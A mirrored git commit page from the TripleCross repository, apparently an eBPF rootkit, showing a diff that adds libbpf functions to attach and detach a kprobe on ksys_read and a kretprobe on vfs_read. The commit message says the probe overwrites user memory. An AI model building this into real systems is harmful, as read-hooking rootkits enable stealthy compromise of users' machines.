admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-27 11:53:09 +08:00
Code Issues Packages Projects Releases Wiki Activity

Added new probe to read the previously extracted params and overwrite user memory. Still now fully working, just a backup

Browse Source
This commit is contained in:
h3xduck
2022-01-14 22:05:08 -05:00
parent 106f141c7e
commit 945e2f2def
8 changed files with 60 additions and 1283 deletions
Download Patch File Download Diff File Expand all files Collapse all files

26
src/user/include/modules/fs.h
View File

@@ -8,18 +8,30 @@
#include "xdp_filter.skel.h"
//Connections
int attach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
skel->links.kprobe__64_sys_read = bpf_program__attach(skel->progs.kprobe__64_sys_read);
return libbpf_get_error(skel->links.kprobe__64_sys_read);
int attach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
return libbpf_get_error(skel->links.kprobe_ksys_read);
}
int attach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read);
}
int attach_fs_all(struct xdp_filter_bpf *skel){
return attach_kprobe__64_sys_read(skel);
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
}
int detach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
int err = detach_link_generic(skel->links.kprobe__64_sys_read);
int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
@@ -28,7 +40,7 @@ int detach_kprobe__64_sys_read(struct xdp_filter_bpf *skel){
}
int detach_fs_all(struct xdp_filter_bpf *skel){
return detach_kprobe__64_sys_read(skel);
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
}
#endif